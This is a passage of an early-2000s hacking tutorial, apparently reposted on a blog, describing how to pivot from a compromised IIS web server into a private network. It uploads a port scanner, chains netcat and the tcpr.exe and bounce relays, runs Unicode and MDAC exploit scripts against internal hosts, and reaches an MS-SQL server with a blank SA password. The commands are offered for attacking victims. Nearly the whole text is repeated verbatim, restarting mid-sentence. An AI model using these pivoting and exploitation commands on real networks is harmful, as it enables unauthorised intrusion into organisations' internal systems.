A tool that I like using once command line access has been gained on a NT
box is FSCAN.EXE(get it at Packetstorm or at
www.sensepost.com/summercon2001/fscan.exe). It is a nifty command line
portscanner that is packed with features. Once compromised, this portscanner
is uploaded, and scanning on the rest of the network can begin. Make sure
that you know where to scan - study your surroundings, like explained
earlier.
Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o
c:\inetpub\wwwroot\sportscan.txt
Above port scan will identify all hosts running web servers, telnet daemons
and MS-SQL, and will send the output directly to a file called portscan.txt
that is located in the webroot -ready to be surfed. The output of such a
scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If
we assume that 169.xxx.201.4 is located in the private network (and that the
host where this scan was executed from is in the DMZ) it makes sense to try
to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to
compromise this host - that will give us access to resources on the private
network. It might even be interesting to see what is running on the MS-SQL
part of the server. We now want to be able to fire up SQL Enterprise server,
hop via the compromised host right onto the SQL port on 169.xxx.201.4
(assuming of course that we cannot go there direct).
How is this accomplished? One way could be to hook two instances of netcat
together - something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have
found that this method does not work that nice in all situations. Courtesy
of a good friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exe
takes 4 arguments: tcpr <listenPort> <destinationIP> <destinationPort> <killfile>
Tcprstarts to listen on listenPort, relaying (on a network level) all
traffic to destinationIP on port destinationPort. Before it relays a
connection it checks for the existence of killfile, and if so, it exists
very quietly. The killfile is only there to make it easy to kill the relay
as there is no kill `ps -ax | grep tcpr | awk '{print $1}'` available in the
standard NT distribution
(har har). With tcprwe can now redirect traffic on a non-filtered port on
the first host to a port on the next victim. The TCPR.EXE program is
available at www.sensepost.com/summercon2001/tcp.zip.
Keeping all of above in mind, we could reach the SQL server by uploading
tcpr.exe to the victim and executing the following command (let us assume
that the site is vulnerable to the Unicode exploit - the attacker is using
my Unicode PERL exploit, port 53 is not filtered, and tcpr.exe has been
uploaded to c:\temp using the upload page):
perl unicodexecute3.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 1443
c:\blah.txt'
In the SQL enterprise manager we cannot specify the port. We thus need to
"bounce" the local port 1433 to port 53 on the webserver. For this we use
the utility "bounce".
Use: bounce [-a localaddr] [-p localport] machine port
#bounce -a 127.0.0.1 -p 1433 <target> 53
Ready to bounce connections from port 1433 to <target> on port 53
Pointing your SQL enterprise manager to 127.0.0.1 we now reach the SQL
server running on the inside of the private network. Assuming a blank SA
password, we are home free. When we are finished with the SQL server, and
now want to attack the web server we simple do:
perl unicodexecute3.pl <target>:80 'echo aaa > c:\blah.txt'
telnet <target> 53
perl unicodexecute3.pl <target>:80 'del c:\blah.txt'
perl unicodexecute3.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 80
c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS
servers together, reaching deep within a network. If we assume that the
server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the
server would be as simple as:
perl rfpnew.pl -h <target> -p 53 -C '<whatever>'
By simply modifying the convert.pl script mentioned earlier to point to port
53, we can start to build the upload page on the internal server, and the
cycle continues. If you struggle to keep track on what server you are
working don't despair, it happens...
Using PERL2EXE one can also "port" PERL scripts from Unix to Win32. Using
this one can upload an exploit to the web server, and execute it locally.
box is FSCAN.EXE(get it at Packetstorm or at
www.sensepost.com/summercon2001/fscan.exe). It is a nifty command line
portscanner that is packed with features. Once compromised, this portscanner
is uploaded, and scanning on the rest of the network can begin. Make sure
that you know where to scan - study your surroundings, like explained
earlier.
Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o
c:\inetpub\wwwroot\sportscan.txt
Above port scan will identify all hosts running web servers, telnet daemons
and MS-SQL, and will send the output directly to a file called portscan.txt
that is located in the webroot -ready to be surfed. The output of such a
scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If
we assume that 169.xxx.201.4 is located in the private network (and that the
host where this scan was executed from is in the DMZ) it makes sense to try
to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to
compromise this host - that will give us access to resources on the private
network. It might even be interesting to see what is running on the MS-SQL
part of the server. We now want to be able to fire up SQL Enterprise server,
hop via the compromised host right onto the SQL port on 169.xxx.201.4
(assuming of course that we cannot go there direct).
How is this accomplished? One way could be to hook two instances of netcat
together - something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have
found that this method does not work that nice in all situations. Courtesy
of a good friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exe
takes 4 arguments: tcpr <listenPort> <destinationIP> <destinationPort> <killfile>
Tcprstarts to listen on listenPort, relaying (on a network level) all
traffic to destinationIP on port destinationPort. Before it relays a
connection it checks for the existence of killfile, and if so, it exists
very quietly. The killfile is only there to make it easy to kill the relay
as there is no kill `ps -ax | grep tcpr | awk '{print $1}'` available in the
standard NT distribution
(har har). With tcprwe can now redirect traffic on a non-filtered port on
the first host to a port on the next victim. The TCPR.EXE program is
available at www.sensepost.com/summercon2001/tcp.zip.
Keeping all of above in mind, we could reach the SQL server by uploading
tcpr.exe to the victim and executing the following command (let us assume
that the site is vulnerable to the Unicode exploit - the attacker is using
my Unicode PERL exploit, port 53 is not filtered, and tcpr.exe has been
uploaded to c:\temp using the upload page):
perl unicodexecute3.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 1443
c:\blah.txt'
In the SQL enterprise manager we cannot specify the port. We thus need to
"bounce" the local port 1433 to port 53 on the webserver. For this we use
the utility "bounce".
Use: bounce [-a localaddr] [-p localport] machine port
#bounce -a 127.0.0.1 -p 1433 <target> 53
Ready to bounce connections from port 1433 to <target> on port 53
Pointing your SQL enterprise manager to 127.0.0.1 we now reach the SQL
server running on the inside of the private network. Assuming a blank SA
password, we are home free. When we are finished with the SQL server, and
now want to attack the web server we simple do:
perl unicodexecute3.pl <target>:80 'echo aaa > c:\blah.txt'
telnet <target> 53
perl unicodexecute3.pl <target>:80 'del c:\blah.txt'
perl unicodexecute3.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 80
c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS
servers together, reaching deep within a network. If we assume that the
server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the
server would be as simple as:
perl rfpnew.pl -h <target> -p 53 -C '<whatever>'
By simply modifying the convert.pl script mentioned earlier to point to port
53, we can start to build the upload page on the internal server, and the
cycle continues. If you struggle to keep track on what server you are
working don't despair, it happens...
Using PERL2EXE one can also "port" PERL scripts from Unix to Win32. Using
this one can upload an exploit to the web server, and execute it locally.
No comments:
Post a Comment